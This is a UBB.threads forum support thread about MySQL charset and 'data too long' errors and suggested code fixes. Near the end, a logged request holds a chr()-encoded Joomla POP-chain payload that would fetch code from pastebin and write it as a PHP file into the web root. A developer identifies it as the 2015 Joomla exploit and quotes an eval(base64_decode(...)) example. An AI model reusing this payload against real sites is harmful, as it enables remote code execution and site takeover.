Previous Thread
Next Thread
Print Thread
Hop To
set character_set_connection ? #262654 05/05/2019 1:45 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
ubb no character_set_connection & character_set_results setting ?

thx~ all~

Re: set character_set_connection ? [Re: BlackMale] #262657 05/05/2019 11:52 AM
Joined: Apr 2004
Posts: 1,539
isaac Online Splat
UBB.threads Developer
Online Splat
UBB.threads Developer
Joined: Apr 2004
Posts: 1,539
The page char set is configured within the GENERAL language file, per language.


Current developer of UBB.threads PHP Forum Software // 7.7.3 released!
isaac @ id242.com // my forum @ CelicaHobby.com
Re: set character_set_connection ? #262658 05/05/2019 12:06 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Script: /var/www/html/admin/copy_forumperms.php
Line#: 105
SQL Error: Truncated incorrect DOUBLE value: 'New Forum Template'
SQL Error #: 1292
Query: update ubbt_FORUM_PERMISSIONS set GROUP_ID = 7,FORUM_ID = 11,USE_HTML = '0',USE_MARKUP = 1,FILE_TOTAL = '0',FILE_SIZE = '0',POLLS_IN_TOPICS = '0',POLLS_IN_REPLIES = '0',POSTS_ARE_MODERATED = '0',SEE_FORUM = 1,READ_TOPICS = 1,READ_REPLIES = '0',CREATE_TOPICS = 1,CREATE_REPLIES = 1,GALLERY_TOTAL = '0',GALLERY_SIZE = '0',AD_ISLAND = 1,EDIT_POSTS = 16777000,DELETE_POSTS = 60,LOCK_ANY = '0',MOVE_ANY = '0',DELETE_ANY = '0',EDIT_ANY = '0',STICKY_ANY = '0',APPROVE_ANY = '0',CAPTCHA = '0',CAN_DOWNLOAD = 1,POST_THROTTLE = '0',DELETE_TOPICS = '0',CREATE_NEWS = '0' where GROUP_ID = 7 and FORUM_ID = 11

Re: set character_set_connection ? [Re: BlackMale] #262659 05/05/2019 3:12 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
i need add mysqli_query($this->dbh, 'SET NAMES utf8mbr');
in ./libs/mysqli.inc.php

to fix character_set_server latin1

Suggest add set NAMES in the next ver...

Re: set character_set_connection ? #262666 05/07/2019 1:42 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Tue, May 07 2019 00:10:45 +0000
Script: /libs/html.inc.php - Line: 413
REPLACE INTO ubbt_ONLINE
(USER_ID,ONLINE_DISPLAY_NAME,ONLINE_LAST_ACTIVITY,ONLINE_SCRIPT_NAME,ONLINE_BROWSING_FORUM,ONLINE_USER_TYPE,ONLINE_USER_IP,ONLINE_REFERER,ONLINE_AGENT,ONLINE_POST_ID,ONLINE_POST_SUBJECT)
VALUES ( 1 , '-ANON-42.77.245.9' , 1557182581 , 'portal' , '' , 'a' , '42.77.245.9' , 'http://m.facebook.com' , 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone9,4;FBMD/iPhone;FBSN/iOS;FBSV/12.2;FBSS/3;FBCR/&#20013-&#33775-&#38651-&#20449-;FBID/phone;FBLC/zh_TW;FBOP' , 0 , '' )
- Data too long for column 'ONLINE_AGENT' at row 1

Last edited by BlackMale; 05/07/2019 1:54 AM.
Re: set character_set_connection ? #262669 05/07/2019 2:09 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
[ERROR][Tue, May 07 2019 00:30:00 +0000] [] [j32] Script: /scripts/addpost.inc.php - Line: 490
INSERT INTO ubbt_POSTS (POST_PARENT_ID,TOPIC_ID,POST_IS_TOPIC,POST_POSTED_TIME,POST_POSTER_IP,POST_SUBJECT,POST_BODY,POST_DEFAULT_BODY,POST_IS_APPROVED,POST_ICON,POST_HAS_POLL,POST_HAS_FILE,POST_MARKUP_TYPE,USER_ID,POST_PARENT_USER_ID,POST_ADD_SIGNATURE,POST_LAST_EDITED_TIME,POST_POSTER_NAME,POST_MD5,POST_NEED_REPLY)
VALUES ( 0 , 110 , 1 , 1557189000 , '123.193.252.174' , '*************************************' , 1 , 'book.gif' , '0' , '0' , 'markup' , 416 , 0 , 1 , 0 , 'j32' , '057c1168e689fd55a2cb29370f1fa705' , 0)
- Incorrect string value: '\xE9\x80\xBC\xE7\x9C\x9F...' for column 'POST_BODY' at row 1

Last edited by BlackMale; 05/07/2019 2:09 AM.
Re: set character_set_connection ? [Re: BlackMale] #262670 05/07/2019 2:16 AM
Joined: Apr 2004
Posts: 1,539
isaac Online Splat
UBB.threads Developer
Online Splat
UBB.threads Developer
Joined: Apr 2004
Posts: 1,539
Quote
Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone9,4;FBMD/iPhone;FBSN/iOS;FBSV/12.2;FBSS/3;FBCR/&#20013-&#33775-&#38651-&#20449-;FBID/phone;FBLC/zh_TW;FBOP


WOW! - My god, thats a lot of additional garbage. IMHO, stuff that has no business being in the user agent header.
A lot of garbage in that user agent. The useful stuff is towards the beginning.

HTTP specification does not limit length of headers at all.

However web-servers do limit header size they accept, throwing 413 Entity Too Large if it exceeds.

Googling this topic, i found a few results that mention webservers generally truncate over 200 chars by default. And with a reference to this this *cough*cough* very old IE7 UA specification tech article:
https://docs.microsoft.com/en-us/pr...ternet-explorer-7/bb496341(v=technet.10)

Apparently Apache limits the maximum field length to 8k:
http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize

IIS is 16K by default, iirc.

Since I did not write that script and haven't revisited it for anything other than page presentation and to parse IPv6 vars, I will take a peek in to it again and see how large the database field allows, and truncate anything to just before that value. Im going to take a wile guess and assume that its set to 200 chars. Your posted UA example is 257 chars.

thank you.

Last edited by isaac; 05/07/2019 2:26 AM. Reason: clarity. spelling. add links.

Current developer of UBB.threads PHP Forum Software // 7.7.3 released!
isaac @ id242.com // my forum @ CelicaHobby.com
Re: set character_set_connection ? [Re: BlackMale] #262671 05/07/2019 2:19 AM
Joined: Apr 2004
Posts: 1,539
isaac Online Splat
UBB.threads Developer
Online Splat
UBB.threads Developer
Joined: Apr 2004
Posts: 1,539
What character collation is your database set to accept? What webserver and Server OS? What PHP version? What MYSQL version?

You're posting a lot of errors. Stuff that has never been posted in any of the 20 years UBB.threads has been available.


Current developer of UBB.threads PHP Forum Software // 7.7.3 released!
isaac @ id242.com // my forum @ CelicaHobby.com
Re: set character_set_connection ? [Re: BlackMale] #262672 05/07/2019 3:20 AM
Joined: Apr 2004
Posts: 1,539
isaac Online Splat
UBB.threads Developer
Online Splat
UBB.threads Developer
Joined: Apr 2004
Posts: 1,539
Skimming the createtable source and a freshly installed, I see that ubbt_ONLINE.ONINE_AGENT is set to varchar(255).

That UA is 257 chars in length.

Within html.inc.php, the following line strips all html from the UA, and only uses the first 0 - 255 characters of it

PHP Code
$agent = substr(ubbchars(find_environmental("HTTP_USER_AGENT")), 0, 255); 


It is 1am as I am replying, and this topic of dealing with multi-byte character sets (such as Chinese uses) is not fluent to me, but I must ask -- Are using a UTF-16 or a UTF-8 Unicode set for your database? With UTF-16, every char is encoded into 2 or more bytes than UTF-8.

Your 255 substr() would now have 257 chars. This could happen when a multi-byte character gets cut in half. I'm going to assume that the UA you posted, did include Chinese characters within it.

If this is the case, you may want replace the "substr" functions with "mb_substr" (there are two of them), and add the internal encoding (UTF-8) as exampled below:

PHP Code
$agent = mb_substr(ubbchars(find_environmental("HTTP_USER_AGENT")), 0, 255, "UTF-8"); 


Some further reading here
https://stackoverflow.com/questions/9087502/php-substr-function-with-utf-8-leaves-marks-at-the-end

And here
https://www.php.net/manual/en/function.mb-substr.php

Last edited by isaac; 05/07/2019 4:00 AM.

Current developer of UBB.threads PHP Forum Software // 7.7.3 released!
isaac @ id242.com // my forum @ CelicaHobby.com
Re: set character_set_connection ? [Re: BlackMale] #262673 05/07/2019 5:14 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
thank you!!

my database is utf8mb4_unicode_ci

Re: set character_set_connection ? [Re: BlackMale] #262674 05/07/2019 5:50 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
I want to recommend it to more people...
but UBB.threads in Chinese more problems to fix...
So work with you... thank you!! thank you!!

Server Information
UBB Version 7.7.1
Server Type Linux
Server Load 0.00
Web Server nginx/1.10.3
PHP Version 7.2.5-1+0~20180505045740.21+stretch~1.gbpca2fa6
MySQL Version 10.2.14-MariaDB-10.2.14+maria~stretch-log
Server connection utfmb4
Database Collation: utf8mb4_unicode_ci


Last edited by BlackMale; 05/07/2019 5:51 AM.
Re: set character_set_connection ? #262675 05/07/2019 12:07 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Script: \admin\dogroupmanage.php
Line#: 140
SQL Error: Incorrect integer value: '' for column 'GROUP_POST_COUNT_JOIN' at row 1
SQL Error #: 1366
Query: UPDATE ubbt_GROUPS SET GROUP_NAME = 'U', GROUP_POST_COUNT_JOIN = '' WHERE GROUP_ID = 4

Last edited by BlackMale; 05/07/2019 12:28 PM.
Re: set character_set_connection ? #262676 05/07/2019 12:09 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Fatal error: Uncaught ArgumentCountError: Too few arguments to function Admin::setParentTitle(), 1 passed in \admin\edit_subscription.php on line 88 and exactly 2 expected in \libs\admin.inc.php:126 Stack trace: #0 \admin\edit_subscription.php(88): Admin->setParentTitle(NULL) #1 {main} thrown in \libs\admin.inc.php on line 126

Re: set character_set_connection ? [Re: BlackMale] #262677 05/07/2019 1:50 PM
Joined: Dec 2003
Posts: 5,994
Ruben Offline
Offline
Joined: Dec 2003
Posts: 5,994
Looking at all your posts.

I have never seen this many errors from anyone.
And I have been here a long time with many versions over the years..
The current version seems to be the most error free for a install..

Could it be you need to start over with the install.

The first would be the test script located at:
https://www.ubbwiki.com/latest/system-requirements-test
Install and run it to be sure your site is compatible with the software.

Then follow the install directions exactly.:
https://www.ubbcentral.com/doc_install.php
Following all the file /folder permissions.
Some hosts don't allow 777 so if that is true try 775

Plus read the readme file in the downloaded zip file from the members area.

The default character set is utf8 set in the generic.php language file on line 2.
In almost all cases you would create a new database using utf8 if not the you need to edit the language file to match.


Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Re: set character_set_connection ? [Re: BlackMale] #262678 05/07/2019 2:30 PM
Joined: Jun 2006
Posts: 15,848
Gizmo Offline
UBB.threads Developer
Offline
UBB.threads Developer
Joined: Jun 2006
Posts: 15,848
From what I understand, you've modified your database to use utf8mb4_unicode_ci rather than a latin based utf8_general_ci or latin1_swedish_ci collation; which from what I'm seeing is causing you a huge amount of errors because UBB.threads doesn't know how to work with the data you are presenting to it (please, stop making new posts for every new MySQL error as they all stem from the same issue and can be amended to the same thread).

UBB.threads is a software product from the mid-90's that's been ported up through standards through the years, and is long older than the UTF8 became the web standard; hence why it does not fully support 4-byte utf8 unicode such as what current digital Chinese or Japanese characters use, at this point.

We understand that English isn't your first language, and you don't fully understand it; but some of your bug reports are so vague and hard to follow that we're unsure of what the ultimate problem is, let alone how to reproduce the errors that you're getting.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Need to Upgrade?
Forums: A Gardeners Forum Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Re: set character_set_connection ? [Re: BlackMale] #262680 05/07/2019 6:44 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
sorry all...
new bug...

Should be added to PHP filtering
Prevent SQL errors...

EX:
if($picchange == "url" && strlen($Picture) > '120') {
$html->not_right('USER Picture too long');
}



Tue, May 07 2019 17:25:51 +0000
TIKHO Script: /var/www/html/scripts/changebasic.inc.php - Line: 606
UPDATE ubbt_USER_PROFILE
set
USER_REAL_EMAIL = 'xxxx@gmail.com' ,
USER_DISPLAY_EMAIL = '' ,
USER_BIRTHDAY = '0/0/0' ,
USER_PUBLIC_BIRTHDAY = '0' ,
USER_OCCUPATION = '' ,
USER_LOCATION = '' ,
USER_HOBBIES = '' ,
USER_HOMEPAGE = '' ,
USER_EXTRA_FIELD_1 = 'TIKHO' ,
USER_EXTRA_FIELD_2 = '' ,
USER_EXTRA_FIELD_3 = '' ,
USER_EXTRA_FIELD_4 = '' ,
USER_EXTRA_FIELD_5 = '' ,
USER_ICQ = '' ,
USER_YAHOO = '' ,
USER_MSN = '' ,
USER_AIM = '' ,
USER_SIGNATURE = '' ,
USER_DEFAULT_SIGNATURE = '',
USER_GROUP_IMAGES = ''
,USER_AVATAR = 'https://instagram.fhkg11-1.fna.fbcdn.net/vp/a201e19979eaf1ff80af0549962629d1/5D717AC9/t51.2885-19/s150x150/14561990_1807233326166438_4404160040567570432_a.jpg' , USER_AVATAR_WIDTH = '0' , USER_AVATAR_HEIGHT = '0'

WHERE USER_ID = 1416
- Data too long for column 'USER_AVATAR' at row 1

Last edited by BlackMale; 05/07/2019 7:40 PM.
Re: set character_set_connection ? [Re: BlackMale] #262681 05/07/2019 7:01 PM
Joined: Jun 2006
Posts: 15,848
Gizmo Offline
UBB.threads Developer
Offline
UBB.threads Developer
Joined: Jun 2006
Posts: 15,848
You're attempting to insert a multi byte character into a single byte slot; as mentioned above, this software has never been tested before for UTF8MB4 and assumes you're using a Latin based collation. Modifying the software to preform on this collation just won't have the desired behavior you're looking for.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Need to Upgrade?
Forums: A Gardeners Forum Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Re: set character_set_connection ? [Re: BlackMale] #262682 05/07/2019 7:02 PM
Joined: Apr 2004
Posts: 1,539
isaac Online Splat
UBB.threads Developer
Online Splat
UBB.threads Developer
Joined: Apr 2004
Posts: 1,539
You're getting all these errors because you have modified the stock code from expecting the use of a 3-Byte UTF-8 Unicode Encoding character set, to utf8mb4 a 4-Byte UTF-8 Unicode Encoding character set.

UBB.threads currently does not provide support for supplementary character sets (ie; Chinese, Japanese). UBB.threads currently only provides support for Basic Multilingual Plane (BMP) characters.

utf8mb4, utf16, utf16le, and utf32 support Basic Multilingual Plane (BMP) characters and supplementary characters that lie outside the BMP.
https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html

The utf8/utf8mb3 Character Set (3-Byte UTF-8 Unicode Encoding
Supports BMP characters only (no support for supplementary characters)
https://dev.mysql.com/doc/refman/5.6/en/charset-unicode-utf8mb3.html

The utf8mb4 Character Set (4-Byte UTF-8 Unicode Encoding)
utf8mb4 contrasts with the utf8mb3 character set, which supports only BMP characters and uses a maximum of three bytes per character
https://dev.mysql.com/doc/refman/5.6/en/charset-unicode-utf8mb4.html


edit:
Very recently (2015 to now) UBB.threads base code has been getting many modern updates since its initial release in the 90s, but it still requires additional coding to support utf8mb4, as you're now finding out wink This may come eventually, but there are many other updates ahead of that.


Current developer of UBB.threads PHP Forum Software // 7.7.3 released!
isaac @ id242.com // my forum @ CelicaHobby.com
Re: set character_set_connection ? [Re: BlackMale] #262683 05/07/2019 8:09 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
thx all...

ubbcentral.com server SQL & PHP info is ?


test ๐Ÿ˜€ ๐Ÿ˜ ๐Ÿ˜‚ ๐Ÿ˜ƒ

Last edited by BlackMale; 05/07/2019 8:13 PM.
Re: set character_set_connection ? #262699 05/12/2019 8:59 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
database is utf8

to day fix

/libs/html.inc.php - Line: 415
REPLACE INTO ubbt_ONLINE
(USER_ID,ONLINE_DISPLAY_NAME,ONLINE_LAST_ACTIVITY,ONLINE_SCRIPT_NAME,ONLINE_BROWSING_FORUM,ONLINE_USER_TYPE,ONLINE_USER_IP,ONLINE_REFERER,ONLINE_AGENT,ONLINE_POST_ID,ONLINE_POST_SUBJECT)
VALUES ( 1 , '-ANON-2001:b400:e48b:5ec8:3141:6ac6:dbc8:9603, 64.233.172.131' , 1557622001 , 'cfrm' , '' , 'a' , '2001:b400:e48b:5ec8:3141:6ac6:dbc8:9603, 64.233.172.131' , '' , 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon' , 0 , '' )
- Data too long for column 'ONLINE_USER_IP' at row 1

Last edited by BlackMale; 05/12/2019 9:00 AM.
Re: set character_set_connection ? [Re: BlackMale] #262702 05/12/2019 6:12 PM
Joined: Jun 2006
Posts: 15,848
Gizmo Offline
UBB.threads Developer
Offline
UBB.threads Developer
Joined: Jun 2006
Posts: 15,848
It would appear that there are two IP addresses trying to be inserted, which exceeds the length of the cell in the database; we really need you to fill out complete error logs, along with your URL, any modifications you've installed, and how we can replicate the error...

Note that NO modifications to the base software are supported, and this includes modifying your database and mysqli.inc.php file to run utf8mb4, as the software just doesn't support it at this time.

Any "data too long" errors are directly related to your attempt to insert a multibyte (utf8mb4) string where a single byte (utf8) is expected (as it takes up more space that what is anticipated).

Please stop posting issues directly related to your unsupported usage of utf8mb4; we're not just going to magically be able to make it work with the wave of a wand, it'd take a significant amount of time which we're already using for further PHP7.2+ updates.

You might even need to File a Support Ticket with the vendor (we're here simply volunteering our time) so that your hosting environment and forum files can be checked.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Need to Upgrade?
Forums: A Gardeners Forum Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Re: set character_set_connection ? [Re: BlackMale] #262704 05/13/2019 5:57 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
sorry... i use Google translation ๐Ÿ˜…

This is unmodified. not utfmb4

Thank you for your reply...
IP first looks like Googlebot IP6... Find more information and reply to you

Thank you again, carefully...

Last edited by BlackMale; 05/13/2019 5:59 AM.
Re: set character_set_connection ? [Re: BlackMale] #262705 05/13/2019 11:20 AM
Joined: Dec 2003
Posts: 5,994
Ruben Offline
Offline
Joined: Dec 2003
Posts: 5,994
Please post a image from phpmyadmin showing what collalition you use. for all tables and the bottom row.

It has to be your setup somewhere.

Never in the history of ubb has anyone had this many errors but you.

Can you show us your website so we can look?

Last edited by Ruben; 05/13/2019 1:28 PM.

Blue Man Group
There is no such thing as stupid questions. Just stupid answers
Re: set character_set_connection ? [Re: BlackMale] #262707 05/13/2019 5:22 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Thank you for your reply...

Attached Files FireShot Pro Screen Capture #007 - 'localhost _ LGnotebook I phpMyAdmin 4_8_5' - localhost.pngFireShot Pro Screen Capture #008 - 'localhost _ LGnotebook _ ubbbak _ ubbt_online I phpMyAdmin 4_8_5' - localhost.png
7.7.1 not auto url %E7%9C%9F%E7 #262730 05/29/2019 5:53 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
https://tw.esports.yahoo.com/%E7%9C%9F%E7%9A%84%E6%83%B3%E5%93%AD-074919304.html

test

Last edited by BlackMale; 05/29/2019 5:56 AM.
Re: 7.7.1 not auto url %E7%9C%9F%E7 [Re: BlackMale] #262735 05/30/2019 3:03 PM
Joined: Jun 2006
Posts: 15,848
Gizmo Offline
UBB.threads Developer
Offline
UBB.threads Developer
Joined: Jun 2006
Posts: 15,848
the % is stopping the very basic AutoURL processor, which doesn't work with % (which are the codes for his local language). this isn't a showstopper as the BBCode can process it just fine.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Need to Upgrade?
Forums: A Gardeners Forum Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Re: 7.7.1 not auto url %E7%9C%9F%E7 [Re: BlackMale] #262757 06/03/2019 5:23 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
libs/bbcode.inc.php

i fix ok ?

Code
				$body = preg_replace_callback('#(\n|\r|\]|^|\s|\(|<)([a-zA-Z0-9]+?)://(([a-zA-Z0-9\.\-\_\?=\#/&]|&|%20|\+)+)(>|<|\n|\r|$|,(\s|$)|\?(\s|$)|\)|\[|\s|\.(\s|$))#i', function ($match) {


fix to

Code
				$body = preg_replace_callback('#(\n|\r|\]|^|\s|\(|<)([a-zA-Z0-9]+?)://(([a-zA-Z0-9\.\-\_\?=\#/\&/\%/\#/\!]|&|%20|\+)+)(>|<|\n|\r|$|,(\s|$)|\?(\s|$)|\)|\[|\s|\.(\s|$))#i', function ($match) {


/\#/\! for https://mega.nz/#!MMdUTQbB

7.7.1 /libs/html.inc.php Data too long #262758 06/03/2019 3:30 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Script: /var/www/html/forum/libs/html.inc.php - Line: 415
REPLACE INTO ubbt_ONLINE
(USER_ID,ONLINE_DISPLAY_NAME,ONLINE_LAST_ACTIVITY,ONLINE_SCRIPT_NAME,ONLINE_BROWSING_FORUM,ONLINE_USER_TYPE,ONLINE_USER_IP,ONLINE_REFERER,ONLINE_AGENT,ONLINE_POST_ID,ONLINE_POST_SUBJECT)
VALUES ( 1 , '-ANON-2404:7a85:a060:7800:e86c:d212:fd49:5c8, 2404:7a85:a060:7800:e86c:d212:fd49:5c8, 606.249.802.090' , 1559527829 , 'portal' , '' , 'a' , '2404:7a85:a060:7800:e86c:d212:fd49:5c8, 2404:7a85:a060:7800:e86c:d212:fd49:5c8, 66.249.82.90' , 'http://translate.google.com/translate?hl=ja&sl=auto&tl=ja' , 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0,gzip(gfe)' , 0 , '' )
- Data too long for column 'ONLINE_DISPLAY_NAME' at row 1


i fixed up to VARCHAR(110)
ALTER TABLE `ubbt_ONLINE` CHANGE `ONLINE_DISPLAY_NAME` `ONLINE_DISPLAY_NAME` VARCHAR(110)

Re: 7.7.1 /libs/html.inc.php Data too long [Re: BlackMale] #262761 06/05/2019 7:04 PM
Joined: Jun 2006
Posts: 15,848
Gizmo Offline
UBB.threads Developer
Offline
UBB.threads Developer
Joined: Jun 2006
Posts: 15,848
If you look at your highlighted text you can see what is happening, your server is relaying three values for IPs and the string they make is too long for the field; a future build should split the IPs into the correct length (by only using one). FYI, 606.249.802.090 is an invalid IP address.


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Need to Upgrade?
Forums: A Gardeners Forum Scouters World
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!
Re: 7.7.1 /libs/html.inc.php Data too long [Re: BlackMale] #262763 06/07/2019 11:40 PM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
to day

[ERROR][2019-06-07 04:48 PM] [] [] Script: /var/www/html/libs/html.inc.php - Line: 415
REPLACE INTO ubbt_ONLINE
(USER_ID,ONLINE_DISPLAY_NAME,ONLINE_LAST_ACTIVITY,ONLINE_SCRIPT_NAME,ONLINE_BROWSING_FORUM,ONLINE_USER_TYPE,ONLINE_USER_IP,ONLINE_REFERER,ONLINE_AGENT,ONLINE_POST_ID,ONLINE_POST_SUBJECT)
VALUES ( 1 , '-ANON-}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:979:\"eval(chr(102).chr(119).chr(114).chr(105).chr(116).chr(101).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(68).chr(79).chr(67).chr(85).chr(77).chr(69).chr(78).chr(84).chr(95).chr(82).chr(79).chr(79).chr(84).chr(39).chr(93).chr(46).chr(39).chr(47).chr(114).chr(120).chr(114).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(43).chr(39).chr(41).chr(44).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(112).chr(97).chr(115).chr(116).chr(101).chr(98).chr(105).chr(110).chr(46).chr(99).chr(111).chr(109).chr(47).chr(114).chr(97).chr(119).chr(47).chr(75).chr(102).chr(104).chr(66).chr(114).chr(106).chr(82).chr(98).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}, 51.79.27.185' , 1559897323 , 'portal' , '' , 'a' , '}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:979:\"eval(chr(102).chr(119).chr(114).chr(105).chr(116).chr(101).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(68).chr(79).chr(67).chr(85).chr(77).chr(69).chr(78).chr(84).chr(95).chr(82).chr(79).chr(79).chr(84).chr(39).chr(93).chr(46).chr(39).chr(47).chr(114).chr(120).chr(114).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(43).chr(39).chr(41).chr(44).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(112).chr(97).chr(115).chr(116).chr(101).chr(98).chr(105).chr(110).chr(46).chr(99).chr(111).chr(109).chr(47).chr(114).chr(97).chr(119).chr(47).chr(75).chr(102).chr(104).chr(66).chr(114).chr(106).chr(82).chr(98).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}, 51.79.27.185' , '' , 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3' , 0 , '' )
- Data too long for column 'ONLINE_DISPLAY_NAME' at row 1

Re: 7.7.1 /libs/html.inc.php Data too long [Re: BlackMale] #262764 06/08/2019 12:15 AM
Joined: Apr 2004
Posts: 1,539
isaac Online Splat
UBB.threads Developer
Online Splat
UBB.threads Developer
Joined: Apr 2004
Posts: 1,539
In my near-20 years of working with UBB.threads software, I've never seen anything like what you've posted.

This has brought me to perform a few Google searches for elements within your post.

What was returned goes back to 2015 with an attacker attempting to perform a POP chain exploit to Joomla CMS.

Quote
[the] request headers must contain malicious data known as a "POP Chain" (Property Oriented Programming). POP chains, similar to their older cousin ROP (Return Oriented Programming) are constructed of a series of โ€œmagic PHP methodsโ€ that already exist in the code, which is why these kinds of attacks are often referred to as code reuse. An attacker must link these methods together in order to achieve their desired code execution.

The POP chain is then sent from the attacker in either the User-Agent or X-Forwarded-For header, the attacker saves the session cookie that is returned upon completion of the request. From what we have noticed, most of these POP chains run eval() on the POST data, but not all of them, as you can also run a chr() encoded string into eval() that will execute all the bad PHP calls: system(), popen(), exec(), passthru(), shell_exec(), etc. Here is an example of part of the exploit payload:

Code
eval(base64_decode($_POST[111]))


Have a read through here --
https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/

